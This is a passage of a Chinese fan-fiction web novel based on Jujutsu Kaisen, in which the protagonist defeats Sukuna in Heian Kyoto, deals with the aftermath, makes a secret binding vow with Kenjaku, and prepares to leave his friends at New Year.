只有在咒力拉满的三秒内,他才能自由地支配宿傩领域中的空间,三秒一过,他尚且是人类的身体就会崩溃。 宿傩可不会老实等他用反转术式。 接下来的一分钟内,如往常每次讨伐宿傩时一样,两人在领域内,以斩击、身体的强度和战斗本能交锋。 也只能这样了。 白川琉世除了使用咒力对冲宿傩的领域,其他能力全依赖于灵魂中的力量和单纯的身体战斗技巧,宿傩没办法用对付咒术师的方法对付他,日轮刀和锁链攻过来时,什麽弥虚葛笼通通不管用,要想不被杀死只能赶紧躲开。 白川琉世在不停的战斗中,确实领悟了更多能力,比如利用黄泉的风,在敌人灵魂里塞满遭受极端死法而感到痛苦的死者情绪,或者把敌人关在黄泉津比良坂的一小块空间里。 不过没什麽太大的作用,他的目的是杀死宿傩,不是折磨宿傩, 也不是只有宿傩这麽滑不溜手。 同样,宿傩的斩击和[开],白川琉世如果想躲,宿傩能沾到他一片衣角,就算他想不开故意去送。 都是一不留神就会丢掉性命的敌人。 “黄泉津!”打到兴奋时,宿傩发出酣畅淋漓的笑声,大声喊着白川琉世的名字。 “……?”白川琉世无语住了,“乱喊什麽,你指望我也回一声你的名字吗?” 像鸣人佐助还是柱间和斑一样大喊一声宿傩吗? 宿傩这样的纯恶反派,就不要学人家有羁绊的人了。 “宿傩,虽然和你没什麽好说的,但这次不一样。” 两人的领域经过数次碰撞、相斥,一齐到达崩溃的边缘。 白川琉世站在五重塔的塔顶,直径二百米的范围内,只有这座最高建筑孤零零地耸立着,周遭一切全被摧毁。千米外,是一片片聚集的人群,过远的距离使他们看起来犹如虫豸般大小,每个人的叫喊声、身上的负面情绪,朦朦胧胧传达过来,好像另一个世界的情形,没能带给他一点实感。 两人踩着塔沿对立而站,彼此的距离只有区区五米。 宿傩的人生很刺激,但也很无聊,对白川琉世突如其来的搭话表现出了感兴趣的意味。 “嗯?你要留遗言吗?” “不,是让你留遗言。” “我唯一认可的就是你的狂妄,黄泉津。” “只有狂妄?”白川琉世眼中少见地出现除了冷淡之外的别的情绪,比如探究欲,“我很强,宿傩。” 很强,比谁都要快的变强,并且还会更强。 “哦,然后呢?” “你也很强。” “你不会是想说,其实我们是同类这种失心疯的话吧?”宿傩并没有不耐烦,四只眼睛却明显一起无语起来。 “不,当然不是。”白川琉世以更加无语的眼神对视回去,“我只是好奇,既然你已经这麽强了,为什麽还会对人类产生欲望。” “嗯?” “那些人,”他伸手指向远处,“你想杀了他们吧。” 宿傩对普通人拥有杀意,他吃人,残杀人类,虽然表现的毫不在意、随心所欲,但杀意也是一种欲望。 “试图‘教化’我?黄泉津,除了狂妄和强大这点,你简直无聊透顶。” “我不是虎杖悠仁,没那个闲心。” “谁?” “你没机会认识的人。” 宿傩对黄泉津的胡言论语感到不耐烦,双手抬起,那是开竈的姿势。然而,白川琉世没有防御的意图,而是自顾自继续说道。 “不管是善意还是恶意,都是对人类的欲望。然而,这种欲望我好像已经丢失了。” 他睥睨远处,京都的街道中,有很多人点亮火把,真空地带外,星点火光一直延伸到看不到的黑暗中。每点火光下都是举着火把的人,白川琉世能感觉到这点,但这种感觉约等于无,人类的存在感在他眼里还不如能在视网膜上留下灿烂印记的火光。 “我知道你的事,宿傩,你是懂得爱这回事的吧。” 宿傩的双手依旧维持着开竈的姿势,却没有着急放出火焰。他嗤笑一声,“结果你是想和我探讨这个?没错,我明白,但那又怎麽了,想杀就杀,想吃就吃,我的人生就是这样。” “天上天下,唯我独尊。” 同样的话,同时在白川琉世心中响起。 最强是荣耀,也是一道枷锁,他越飘越高,逐渐看不到周围人的身影。 最强只有他一个,整个世界只有他一个人。 抛下所有的杂音后,只有五条悟和宿傩的声音清晰起来。 [天上天下,唯我独尊。] 他不是不明白爱这回事。相反,生长在平平无奇家庭的他,没有五条悟出生时的光环,也没有宿傩的异状,比两人更早地体会到,由人类心中诞生的爱是什麽样的。 父母的爱,友人的爱,长辈的爱,陌生人之间善意且轻微的爱,以及……恋爱之情。 他们都懂得爱。 爱是普通人最珍贵的东西。弱小的,庸庸碌碌的普通人,一生所不能及的事太多,爱是安慰剂,是拼命也要抓住的东西。 对他们却没有那麽重要。 不管是把普通人当花朵、小猫一样对待的五条悟,还是当食材、玩具一样对待的宿傩,都是均衡地散发出,没那麽强烈的善和恶的欲望。 现在的他也是如此。 “宿傩,此时此刻,我完全理解你的人生。” “所以,死在我的手里,免于像小丑一样被愚弄,是你拥有的最好结局。 在宿傩的狂笑声中,一阵沉闷的嗡鸣声响起,修长有力的手柄打刀缓慢抽出。 “由我杀死你,是无法更改的事实。” …… 宿傩手中蓄势待开的[开],在这一刻,化为火舌,率先吞没了五层塔的塔顶,一路沿着木制的塔身往下爬。 附近200米范围内,一切建筑都被伏魔御厨子切成碎末,变成火焰的天然燃料。万死之炎随着夜风,一个呼吸间就与千米外的人打了个照面。 宿傩的[开]带有咒力,寻常的水是浇不灭的,况且,现在的情形,也没办法从哪弄那麽多水来。 “天使大人!” 橙红色的火焰铺天盖地,带着浓烟和热风滚滚而至,有的咒术师已经感受到皮肤被烧灼的疼痛了。 “安静!不要打扰巫女大人和天使大人!”加茂宪纪呵斥乱了阵脚发出喊声的护卫人员。 他年纪也不大,但因为是加茂家继承人,一旁临时组织起来护卫的咒术师,都很听从他的命令。 几十个咒术师围成一圈,中间是两位女性。其中一个穿着白衣绯袴,典型的巫女打扮,从五重塔上的战斗开始起,就唱着祷词,搭配优美又独特的手势,跳起了舞步,就这麽一直不停,直到黄泉津预言的大火扑面而来。 “呼……”天使抬起手,呼出一口污浊的烟气,在祷词中发动术式。 由特别术式单独禁区所加持的,强度达到两倍的邪去侮天梯,带着耀眼的圣光,与万死之炎相互冲撞。光芒迅速消解了火焰中的咒力,带连着“照”灭了兜头而来的火焰。 不仅如此,天使在逆风向发动术式,邪去侮天梯的范围包括了大量着火的地方,连带着火势也小了很多。 “暂时不用撤退。”加茂宪纪松了口气,抬眼向五重塔望去,那儿已经被浓烟和到处乱窜的火焰遮住了视线,但还是能看到,两团乌压压的云又屏蔽住天空。 黄泉津御命和宿傩又展开了领域。 魔虚罗早就不见了踪影,果然如黄泉津御命预料的一样,宿傩无法同时面对他和魔虚罗的进攻,会用掉飞天。 飞天中存储的一直是天使的术式,不确定宿傩拿到之后,有没有用掉天使的术式。如果用掉了,宿傩同时面对黄泉津和魔虚罗,那是最好的结局。如果没用掉,那就由魔虚罗消耗掉里面的邪去侮天梯。 是的,魔虚罗被召唤出来的首要理由,不是给宿傩带来麻烦,而是保证宿傩消耗掉邪去侮天梯。 毕竟宿傩的领域、斩击都可以想办法避开,在全是木质建筑的平安京,危害最大的反而是开竈!那种带着强势咒力的火焰,一时根本扑不灭,轻而易举就能把整个京都烧光,连带着来不及逃脱的民众都会有生命危险。 最终确定,在黄泉津对战宿傩时,火焰由拥有邪去侮天梯的天使,联手拥有单独禁区的巫女一起控制。 如果一开始飞天没有被用掉的话,最坏的情况,他会使用其中存储的天使的术式,从而试图抵消天使本人的术式,以宿傩的邪恶,他是一定会想看平安京烧成灰烬的。谁也不能确定两个邪去侮天梯相撞会发生什麽,没人想赌那个可能。 “情况怎麽样了,宪纪?” 禅院幸扶着眩晕的脑袋走过来,刚刚咒术师们没把他接好,落地的时候很干脆地摔晕了。 加茂宪纪只是摇摇头,眼神示意禅院幸自己看。 “打了多久了?” “也就一小会。” “他们那种级别的分出胜负很快的,马上就能出结果了。” “你怎麽一点也不着急,禅院幸。”加茂宪纪终于移开视线,分给他一个眼神,“这麽悠闲,把你的满象叫出来帮忙灭火啊。” “不行啊我咒力用光了,召唤魔虚罗可不是闹着玩的,你怎麽不用赤血操术灭火。”说完禅院幸挠了挠鼻子,这麽说好像确实有点找事了,让人家用血去灭火。 “如果真到了那时候,我会的。”加茂宪纪没好气地说,又想起来禅院幸侥幸捡回一条命,也不好意思骂他了,“我刚刚还以为……” “还以为我死了。”禅院幸兴致颇高地弯起眼睛,“哎呀呀,小宪纪,你是没看到,宿傩的气势相当恐怖啊,我当时也以为自己死定了,没想到黄泉津御命还记挂着我的命,把我丢出来了。” “大人虽然表面上不说,但很关心我们的。” 巫女的祷词还在耳边萦绕,火势又小了一些,加茂宪纪暗暗在心底祈祷,黄泉津大人一定要赢啊。 “我们就算啦,顺手的事,倒是他心尖上的人没事吧?” “菅原家的人被安排到左京疏散民众了,行平也是,应该很安全。” “哎,还是人家菅原家命好。” “咳咳,”加茂宪纪咳嗽两声打断他,“决策是大家做的,你这麽说就不合适了。” “知道啦知道啦,这还是我提议的呢,小宪纪,人情世故这方面你也得加把劲儿了。” 嗡——? 这是什麽…… 一道不知是震动的嗡鸣,还是单纯的噪音,低沉地在所有人耳边响起,每个人都耳聋了一瞬,站立不稳,跳舞的巫女脚步踉跄了一下,头还晕着的禅院幸直接跌坐在地上。 所有人都不约而同向上空看去。 五重塔在完全烧毁前,轰然倒塌,两片乌云散去,在四处冒着的黑漆漆的烟气也所不能达的空中,一道白色的身影淩然站立着。 黄泉津御命黑色的长发和白色的狩衣,被风吹得飘荡。身材高大、让人闻风丧胆的诅咒之王两面宿傩,就这麽被他用指尖勾着和服腰带,轻松提在半空。 结束了。 巫女停止了舞步,天使也仰起头,停止了发动术式。黄泉津站得太高,只有一个飘忽的身影,看不清表情,但应当是面无表情的。 所有人都这麽认为,所有人都屏息凝神,把目光都集中在他身上,除了灼烧的哔剥声,天地俱静。就像能看到百年、千年难得一见的流星是很幸运的事,在场的所有人,忽然生出比那种感情强烈百倍、千倍的荣幸感。 没有谁能亲眼目睹神明了吧? …… 神明抬起手,轻轻一点。 一道透明的光华从指尖迸发,至五重塔起,向外荡开,光华极快地涤荡过火海,所至之处火焰纷纷熄灭,只留丝丝缕缕残留的黑烟。 这场大火被灭得干干净净。 白川琉世提着宿傩,安静地站在空中。杀死宿傩、解开所有限制的兴奋,和成为名副其实最强的欣快感,在冷风的吹拂下快速消散。 他低头,一片片的人群像乌压压的虫豸。啊,不,只是被熏黑的,看起来小小的人罢了。人群发出欢呼声,兴高采烈的气氛仿佛能传达到他这儿来。 杀了宿傩,大家这麽高兴吗? …… 完全失去对人类的欲望,以神明的姿态活着,或许什麽也不用背负,那样十分轻松,对吧,悟? 没有伤害人类的兴趣,不会伤害人类。没有报以善行的兴趣,不会受到伤害。 但那样也就失去了这个世界的入场门票。 白川琉世闭上眼睛,调动全部感官。欢欣鼓舞、劫后余生、心潮澎湃……虽然复杂,每个人的情绪却无限趋同,千万人的感情正以毫秒误差,重叠成同一段潮声。 人类第一次奏响如此和谐的乐章。 神明安静聆听。 天地之间,向下异常渺小,向上触之可及,你也有过这种感觉吗? [你也有过这种感觉吗?悟。] 不以神明之姿活着的话,善恶的指针要往哪摆呢? 哈,有什麽好犹豫的呢? 白川琉世,多麽幸运,在不得不面对这种选择之前,就遇到了另一个最强。完完全全的完美模版,在你还没摸索到最强的门槛前,就对你展现了一种启示。 [那是极具吸引力的,本能认可的一种启示。] [是独属于我的,任何人都无法替代的善恶指针。] 像以前那样就好了。 高空的风刮得猛烈,神明缓缓后仰,倏然下坠。 就算如此不同,无法像一滴水溶入大海一样溶入人群。 那也有独特的姿态存在于世间。 [这是我们两个人做出的选择。] …… [我也很喜欢大家,所以并不寂寞。]【你现在阅读的是 】 40-50 第41章 你们菅原家…? 那场加载史册的大火,烧没了小半个平安京。 天皇下令重新规划差不多沦为灰烬的右京,在平安京,最不缺的就是有钱的权贵,各家纷纷解囊捐款,真心假意,多少想在这件事中落一个好名声。 咒术届御三家,菅原、禅院、加茂喜提被烧,一个都没剩下。 那三家因为规划问题,也因为族人日益增多,原来的居所太挤,决定搬到京郊的山上去。别家不知道,菅原家失去了引以为傲的六眼,也有些心灰意冷的意思,顺势搬到了更偏僻的“五条”一带。 “家主说要先把你的院子建出来呢,现在也差不多了,黄泉津,你以后还是回我们家住吧,我看你老待在安倍家也不合适。” 幸运的安倍家没有被烧光,黄泉津最近一个多月,兜兜转转又住在了那里。 五条附近的山上,树木葱郁,清新怡人,寒冷的风吹乱了菅原行平的头发。他和黄泉津坐在山顶的岩石上,看着半山腰开辟出来的一大片土地,匠人正在那忙碌,居所已经建造出大半了。 “啊?哪里不合适。”白川琉世叼着根草棒,闭着眼睛,在正午的日头下昏昏欲睡。 “当然是……,啊,你现在不应该算是我们家的人吗?”菅原行平不可置信,这个人在这装什麽蒜啊。 白川琉世更迷茫地“啊?”了一声,睁开眼睛看着行平,还带着不在状况的睡意,“是和你家比较熟,但我又不姓菅原。” “那有什麽区别?” “哈?不是你对我鼻子不是鼻子,眼睛不是眼睛的时候了?” “那时候是……,哎!”菅原行平抓狂地叹了口气,“那时候和你不熟嘛。” “咱俩现在很熟吗?” “黄泉津!” 菅原行平气得握紧拳头,却看到眼前人失笑出声,从忍俊不禁的轻笑变成肆意的大笑,青年的眉眼舒展,一扫往日的阴霾。 黄泉津,好像变开朗了? 不过,这样还挺不错的。 是因为杀死了宿傩,为觉大人报了仇的缘故吗? “你做的一切,我们大家都记在心里。”想到这,菅原行平软化起来,“家主虽然不说,但其实相当感动呢。他让我问你,愿不愿意与觉大人成婚呢。” “啊?什麽?成婚?和谁?” 汗流浃背了。 你们菅原家……? “别这麽一副惊讶的样子,只是考虑到你的心情,稍微问下,不行就算了。也是,毕竟觉大人已经……” 这是要整什麽冥婚吗?看来菅原家已经自己把补丁打的足足的了,怪不得能写出那麽惊世骇俗的爱情故事,还一代代流传下来了。 但是,也只有那本古籍传到五条悟手中,才会挑起他的兴趣,然后自然而然发生后面的一切……如果贸然改变这一点,导致了无可挽回的偏差怎麽办? 哎,怎麽算都是一笔糊涂账。 “行平,我其实……,啊,很难解释。就是,你知道觉的灵魂已经转世就行了。” “觉大人的灵魂已经转世了?”菅原行平马上被这句话吸引了注意力,“他转世成什麽样的人了?生活幸福吗?家人也像我们那样爱他吗?” 一连串的问题问得白川琉世心中发涩,心里一直想的悟,才意识到,觉也是很年轻就被残忍地杀害了啊。 “是个很好的人,不知道家人爱不爱他,但是那样的性格,家人应该也是纵容着的吧。” “生活幸福吗……,不知道,如果不幸福的话,我会让他幸福的。行平,我快要离开了,然后就会去做这件事。” “诶?离开?你去哪?” “总不能一直在这里待下去。” 菅原行平眼神亮晶晶地,“你是要生生世世纠缠觉大人吗?” “纠缠这个词是否用的不对?” …… 世间没有比黄泉津更加声名显赫的人了。 天使走过淩乱的大街,烧毁的木头已经被处理干净,民众正卖力地重新修建家园。 大部分工程还在繁忙地施工中,但街头巷尾已经起了好几座供奉黄泉津御命的神社了。 “某些人面子好大啊。”天使开玩笑地停住脚步,看着神社里那座漆黑的神龛。 不管走到哪儿,所有人都停下手中的活,恭敬地低下头,向他行礼。白川琉世在自己的神社前驻足,有种时空错乱的映照感。 “自己家还没建好,建这玩意干嘛?要他们拆掉吧,供奉我会倒霉的。” “啊?你果然是邪神吗?” “喂喂,这话比你们打算供奉宿傩还要荒谬。” “这是大家的心意啊,真是可惜。”看到白川琉世继续前行,天使也跟上,声音压得低低的,“虽然这麽说有点大不敬,现在连主上都没有你有名声呢。” “只是一时的罢了,很快就会过去。” “怎麽会呢。”天使摇头,“你可是神啊,大家都亲眼所见。” “那确实。”白川琉世又是一副让天使无语的理所应当样子,“不过,这种名声对我来说无所谓。” 嗯,对味了,还是这麽令人熟悉的自大。 “天使,如果是你杀死了宿傩,你觉得大家会怎麽对待你?” “当然是神社里供奉的人会变成我咯。” “运气好是有一部分人会这麽做,但也一定会有人指着烧成灰的京都责怪你,大喊着你看你都保护了些什麽啊之类的话。” “嗯?怎麽会,我可是杀了宿傩啊!”天使大喊出声,又马上脸红地补充,“假设我杀了他。” “因为你是人类啊。”白川琉世勾起嘴角,没有任何不愉的神色,但说出的话却让天使心里发紧,“你得适应人类的规则,最好在一片砖瓦都不损失的情况下杀死宿傩,做到无法让人指摘的地步。” 天使张了张嘴,想说些什麽,但骤然沉重的气氛让她无法开口。 “如果不小心烧掉京都,没救下无辜路人,或者自己干脆没杀掉宿傩,害其他人不得不顶上,肯定会被抱怨。” “黄泉津!”天使听出了对方话里的自嘲意味,疾走两步跟上白川琉世的步伐,抓住他的衣袖,“你是不是遇到过这种事?” 是受过这样的伤害吗?黄泉津的为人她了解,那家夥表面上像个暴君似的,其实相当善良,到底是谁这麽过分,伤害黄泉津的感情啊! “ 啊?我?”被抓住袖子的人只是无语地挑眉,“我是神啊,谁敢。” 神本来就是高高在上的,毁灭人类还是拯救人类都是顺手的事,神的选择只能由人类提心吊胆地揣摩,所以只要随便做点能让人从中受益的事,就算目的并不是为了拯救人类,也会被大肆追捧。 “别说烧掉一小半平安京,就算整个烧掉,死掉好多人,他们还是会追捧我。所以我说,那种名声对我来说无所谓。” 天使松开他的袖子,深深呼出一口气。 “我太傻了,对吧,刚才竟然还担心了一下,你这样的人是不会让自己沦落到那种地步的。” “那是当然的了,人总归就是这样的生物。”白川琉世毫不在意地笑着,“走吧。” 天使点头跟上,他们此行是要帮助禅院家调伏魔虚罗的。直到听到禅院幸提出这个请求,白川琉世又恍然出现了现在和未来息息相关的映照感。 啊,马上就要给涉世未深的年轻魔虚罗上一课了。 正是因为现在的魔虚罗适应不了他的“凪”,未来遇到尚且弱小的他,才会直接被“凪”搞到崩溃啊。 …… 宿傩死后的第一个冬天,洋洋洒洒下了三天的雪。 临近新年,菅原家的装扮日渐隆重,从元日往前数七八天开始,仆从就每日把白川琉世的院子打扫地异常整洁,侍女也送来了新衣,小孩子们听从家长的吩咐,提着装满美食的篮子来到他那里。 “黄泉津大人,请您收下吧。” “这些给您,请您尝尝吧。” 大人不好意思打扰他,就把小孩子推进来,知道黄泉津也像普通人一样,对小孩更包容一些。 都是五六岁到十岁左右的孩子,穿着色彩鲜艳的直衣和小袖,看起来非常漂亮。白川琉世挨个拍了拍他们的脑袋,于是孩子们高兴地跑了出去,向等在外面的大人说,“黄泉津大人也祝福我了!” “是吗,那真是太好了。”大人们牵着孩子的手,把冷清的院门口踩出一道道脚印。 天色马上要暗了的时候,菅原行平也溜进来串门。他带回来一个好消息,藤原朝若的孩子出生了。 “是个女孩,胎发是银白色的呢,以后一定会非常漂亮。” “是吗?藤原也算得偿所愿了。” 这一整年,也算有件好事发生了。 “那麽,那孩子按照辈分该叫你什麽呢,行平。” “……”菅原行平扭捏了半天,才从嗓子眼里挤出来一句,“侄子。” 白川琉世哈哈大笑。 “喂!这在我们这种家族里很正常好不好,不要再笑了!” 菅原行平总是被对方偶尔的刻薄气的冒烟,有些赌气地说,“你之前说要离开,是什麽时候呢?” “很快了。” 等宿傩的手指处理好就行了。 杀死宿傩后,以前的种种限制皆被解开,他已经能完全掌握黄泉津比良坂,什麽都可以做到。 唯一的束缚就是还拥有人类的身体,当然,还要稍微遵守一点这个世界的客观逻辑,比如“已知已感”和“时间悖论”。 穿梭空间的能力,仅能去已经去过的地方,不过,他小小做了个弊,用“结界”在很多人身上留下刻印,那麽众人去过的地方,就算他没去过,也能瞬间抵达那处。 嗯……,那刻印其实不是结界来着,但和好多东西一样没办法和其他人解释,被问到时统统用结界糊弄过去。 有什麽不可以,反正黄泉津比良坂本身,就是隔绝现世与幽冥的巨大结界。 想要重新踏入正确的时间,是比理解空间系能力难得多的事。根据“已知已感”的原则,他曾存在过的十六年时间倒是显而易见,但根据“时间悖论”原则,同一个时间段不能拥有两个白川琉世。 所以只能挑2007年,他消失之后的时间点进入。 但也不是那之后什麽时间都行,如果过去了几十上百年,就什麽事都晚了。过早也不行,从平安时代穿越到奈良时代岂不是更荒谬。 时间之河汹涌且不可捉摸,不能贸然进入,因此找到正确的时间段,需要一个东西当做“锚点”。 一个能从此刻,稳定保存至2007年后,并且在不算太远的将来被启用的东西。 宿傩的手指,没有比这更合心意的锚点了。 “喂,你这家夥神神秘秘的,杀死宿傩后,藏着掖着的事变得更多了。”菅原行平回忆白川琉世最近的所作所为,“让那个可疑的家夥处理宿傩的尸体也是,飞天的事也是,你到底想做什麽?” “嘘,我有我的节奏,别问了行平,你把握不住。” “哈?那你别让我们看到啊,飞天还给东寺就好了,你留着干嘛。” “没有,我送给加茂家了。” 菅原行平嘴角抽动,伸手从两人面前的矮桌下抽出一根白色的棍子。 白川琉世有一瞬间的僵硬,没注意把飞天随手一放,怎麽忘了收回去了。 “那怎麽了,这是东寺自愿给我的。” “你都开口要了,人家能不给吗?”菅原行平冷笑一声,“然后转手送给了加茂家,什麽意思嘛。” “这不在这吗?你以为是什麽好事吗你就酸。”白川琉世真的会谢,因为加茂家被羂索侵蚀的最厉害,所以才选了这家,但是无论怎麽选,都会把菅原家摘出去。他一片殚精竭虑、良苦用心,终究是错付了。 “所以都送了为什麽还在你这啊!而且我怎麽听加茂宪纪说,你给飞天下了束缚,说什麽只有等诅咒之王复活,飞天才能再次使用。你这个家夥,不会是觉得无敌太寂寞,想复活宿傩吧?” “谁会想复活宿傩啊,脑子不好就不要老是用了。”白川琉世捂着耳朵,一脸被吵到的样子,既然已经被菅原行平发现了,他只能认真地告诫对方,“这件事一定要保密啊,那是我让加茂家陪我演戏的。” 菅原行平想要再问些什麽,只看到黄泉津把食指竖在唇边,做了个嘘声的姿势。 “知道太多没有好处,你明白的吧,行平。” 菅原行平并不是分不清轻重缓急的人,看黄泉津这麽郑重的态度,点了点头,“知道了,保密就保密,我你总是该相信的吧。” “信你信你。”白川琉世压低声音,指了指自己脑门,“你只要记住一点,这地方有缝合线的家夥,都不是好人,不要被骗了啊。” “你也知道那个处理尸体的人不是好人啊!” 白川琉世只是眯了眯眼睛,藏住笑意,“是啊,所以我送了他一份大礼。” 第42章 祝福的钟声 宿傩的尸体蕴含了太过强大的咒力,咒术师们没办法损毁,想请求黄泉津好人做到底,顺便把宿傩的尸体彻底毁掉,以绝后患。 不过,有一个名不见经传的咒术师出面,说自己能把宿傩的手指处理成咒物,用来镇压易生污秽的地方,岂不是一举两得。 手指包含了绝大多数咒力,至于身体的其他部分,可以放到飞騨灵山净界慢慢净化。众人没有异议,赞同了这个做法。 那个提议的咒术师,白川琉世没有亲自见面,听说脑门上有个缝合线,他对告知自己的人说,“那就对了。” 就等他呢。 …… 制作咒物的地方在密不透风的地下室里,昏暗、狭小,白川琉世打开门,一道日光沿着门缝溜进去,照在阶梯上,被神明一步踩过。 吱呀一声,他反手柄门关上,挡住阳光,抬头正对上一双狭长、狡猾的眼睛。 男性,大约三十岁左右,非常平平无奇的一张脸,最大的特点就是脑门上有道缝合线。 “您亲自到这里来,在下感到十分荣幸。”羂索站在摆满器具的木桌前,对他深深鞠躬,态度恭敬,甚至带上了点诚惶诚恐,一点也不像心里谋划着什麽的样子。 那些东西说是器具,但不如说更像刑具,或者木匠的用具。除此之外,墙壁上也挂满了尖刀、锥子之类的东西,有些上面还沾着血迹。 看起来很不正经。 事实上,就连白川琉世也不知道他到底活了多久,换了多少具身体,但羂索现在刚刚学会将人制成咒物的方法,想必贯彻千年的阴谋最多只有个雏形。 “你好啊,羂索,真是太客气了。” 白川琉世带着无害的笑意,声音低沉而愉悦,在羂索耳边炸响,却无异于平地一声惊雷。 那具不属于他的身体骤然绷紧,羂索一双总是游刃有余的眼睛,被极致的震惊填满了足足三四秒钟。 “您是怎麽知道的呢,是因为身为神的缘故吗?” “当然。” 白川琉世走到桌子前,墙壁上点着油灯,灯光昏黄,也不影响视线。他看到桌子上摆着许多手指,好像被风干了多年的腊肉,干巴巴的,颜色也不怎麽卫生。 数了数,正好二十根。 “宿傩的手指,已经全部制作完成了吗?” “还差最后一道工序,大概元日那天就行了。在那之后,就能分送到各地,镇压邪秽了。” 正月初一啊,好日子。 “既然我知道你的真实身份,你也应该知道,我知道你想做什麽吧。” 羂索恢复了基本的镇定,打算谨慎地试探黄泉津到底知道了多少,但对方没有给他这个机会,紧接着问出,“比如把宿傩的灵魂封印在手指里?” 他全都知道。 不知道什麽时候,被冷汗浸湿了后背。 “是在下愚昧,竟然忘了您是黄泉的神啊。” 确实愚昧,那里面封印的根本不是宿傩的灵魂,而是他随便捏的类灵魂的物体,直接塞到宿傩的身体里了。 宿傩死后,灵魂直接被他扔进了黄泉津比良坂里,再也没被管过。如果想投胎,那就直接踏入黄泉,如果不想,就一直待着也无所谓,待到天地毁灭白川琉世也没兴趣把他放出来聊天。 至于那个类灵魂的物体算什麽,就叫“结界”吧,反正也只有个灵魂的样子,没什麽用,只是个空壳。 凭羂索的凡人之眼,看不出它和真正的灵魂有什麽区别。 “你想复活宿傩。” 羂索错开视线,不敢去看那双金色的眼睛,特别是心里有鬼的时候,据说黄泉津的眼睛能震慑一切邪恶的念头。 “别紧张,我不是来伸张正义的。相反,人类能通过这种方法,再次获得生命,这不是很幸运的事吗?” “……您是对宿傩惺惺相惜,想要挽回他的性命吗?” 白川琉世:…… 怎麽一个个都觉得他对宿傩的死感到惋惜? 真是失礼,他们是纯恨的好吗? “你是在问我的话吗?”白川琉世不悦地看向他。 仅仅是不悦,就让羂索难以承受其中的压力,好像一只手死死按在了他的胸口。 “不,在下不敢。”羂索马上低头,最后一丝理智告诉他要冷静,黄泉津不是嗜杀的神,轻微的冒犯不会丢掉性命。 “没关系,我没有怪罪你。”凝成实质的压力忽然散去,黄泉津找了个凳子坐下,语气变得亲切又温和,“不用这麽紧张,虽然大家都说我是神,但你也知道,我其实是人类之躯吧。” 这……,羂索揣摩着黄泉津的意思,不敢贸然回答。 他在五重塔的战斗时,遥遥地看过黄泉津的身影,在那之前,只有在人群中,偶然近距离看到过一次,那双摄人心魄的眼睛,令他怎麽都难以忘怀。 恐怕普天之下只有六眼能与之比拟吧。 不过,竟然是凡人之躯吗? 黄泉津没有急于说话,好整以暇地看着他,像观察猎物的猎人。羂索没有被这种冒犯的态度惹恼,而是被忽然窜上心头的一个可能惊住。 “莫非是,您也……?” “不然我来找你做什麽呢?羂索,人总有一死,就算是我也不能永生啊。” 白川琉世体会着羂索的情绪,果然是浓烈到近乎癫狂的喜悦。嗯?能亲手柄神制成咒物,是那麽让他兴奋的事吗? “这是在下的荣幸,大人。在下侥幸拥有这样的术式,会耐心等到您需要我的那一天的。” 是的,羂索,耐心等待吧。 “很好,但是,我有一个担忧。” 不能现在杀了羂索,那麽,虎杖悠仁未来就不能出生,宿傩的手指也不会在现代激活。 “请你告知在下吧,在下一定竭尽全力,为您排忧解难。” “这种事我不想让任何人知道,而且,我也信不过你。” “在下是绝对不会说出去的。” “嗯,这很难办啊。这样吧,你和我立下束缚吧。” “束…缚?” “没错,”白川琉世从凳子上起身,走到躬身的羂索面前,昏暗灯光的映照下,一道更为浓重的阴影落下,遮住羂索的身影,“忘记这件事吧,忘记和我私下接触的事。等到了需要你想起来的时候,我自然会去找你。” 各种疑虑瞬间涌上羂索的心头,但黄泉津的要求也合情合理,神明不愿意让众人知道他是凡人之躯,不愿意让众人知道他想在死后用邪门歪道的方式受肉,想和他立下这样的束缚,并不奇怪。 只是,那样的话,这世间将多了一个知道他秘密的人,而他自己将会忘掉这件事,实在太过危险。 说到危险……,什麽也没有近在眼前的黄泉津本人危险。想到这人单凭自己就杀死了宿傩,现在好声好气和他商量也实属给面子,要真说起来,黄泉津知道他的秘密与否也没什麽影响。 一根手指就能湮灭他的人,犯不着背地里怎麽样。 “好,我与您立下束缚。” 羂索立下束缚的心情是怎麽样的呢? 白川琉世把手搭在宿傩的手指上空,一道透明的光华隐没其中。 很期待,也很激动啊。 希望以后也能保持这样的好心态啊。 “很好,忘记吧,羂索。” …… “你走之后,这里能给我住吗?我还挺喜欢这个院子的。” 宽大的障子门被菅原行平拉开,呼的一声,寒风携着雪花扑进屋内。 燃着炉火的矮桌前,挤挤挨挨坐着三个人,天使和藤原朝若相对而坐,中间是正在整理袖口的白川琉世。 大晦日的傍晚,得知黄泉津快要离开的消息,天使和藤原也顾不上这个和家人团圆的日子,一齐来探望他。 桌上放着茶水和点心,天使正剥着一颗橙得可爱的橘子,“你不是继承人吗,等以后当了家主,还不是想住哪就住哪。” “家主也得听家里的意见啊。”菅原行平小声嘀咕着,“我们家的老头子们都把黄泉津当宝了,你走了这里大概会被供起来。喂,他们如果知道你明天就走,全都要拄着拐杖爬过来哭送你。” “我又不是死了。”白川琉世嘴角抽搐。 “反正就是狠心地离开了,和死了也没差嘛。”菅原行平打开障子门后,在剩下的空位上坐下,毫不意外马上被藤原朝若的扇子打了一下头。 “这种时候不要说赌气的话了,行平。” 藤原盈着笑意的目光向白川琉世看去,“老是看你穿同一个款式的狩衣,这件新衣显得人格外精神呢。” “因为颜色的原因吧。”白川琉世整理完衣袖站起来,那是菅原家专门送过来恭贺新年的衣服,大概以为他只喜欢穿狩衣,这件依旧是狩衣的款式,白底上绣着大片的赤红的火焰花纹,很像他日轮刀的纹路。 菅原家的人很细心啊。 菅原行平:“那是我几个姑婆亲手做的哦。” 藤原朝若:“内子也想帮忙,但没有被允许插手,几位叔母很看重这件事呢。” “心意我收到了。” 白川琉世向门口走去,他肩宽腿长,是非常引人注目的高个子,这两年长了肌肉,有些嶙峋的少年感已完全消失了。 按理说这个年纪,还不能称之为青年,三个人眯起眼睛,仰视着他,一开始,那张脸还见眉目间的青涩,现在只有让人望之心生安定的气质。 大概是因为那种格外可靠的感觉,让人不由自主忘记他的年龄吧。 衣服的色泽温暖又耀眼,把笑容也多衬出几分明快,白川琉世走进风雪中,回头望向友人。 “我的名字是琉世,要保密啊。” “诶?!”天使发出极为惊讶的声音,然后捂住嘴巴,小声对菅原行平说,“我就说吧,他根本就不是什麽没有过去的人。” 菅原行平把声音压得更低,“而且,琉世这种名字,听起来好像‘啰嗦’啊。” 天使竭力忍住笑意。 “你们两个!”藤原朝若又气又笑,“不要破坏这种难得的氛围啊。” “好吧。“天使拍拍被染得有些发橘的手,”喏,天黑了。” “要开始了。”藤原朝若屏息凝神。 菅原行平:“你说他真的会跳什麽神乐的歌舞吗?” 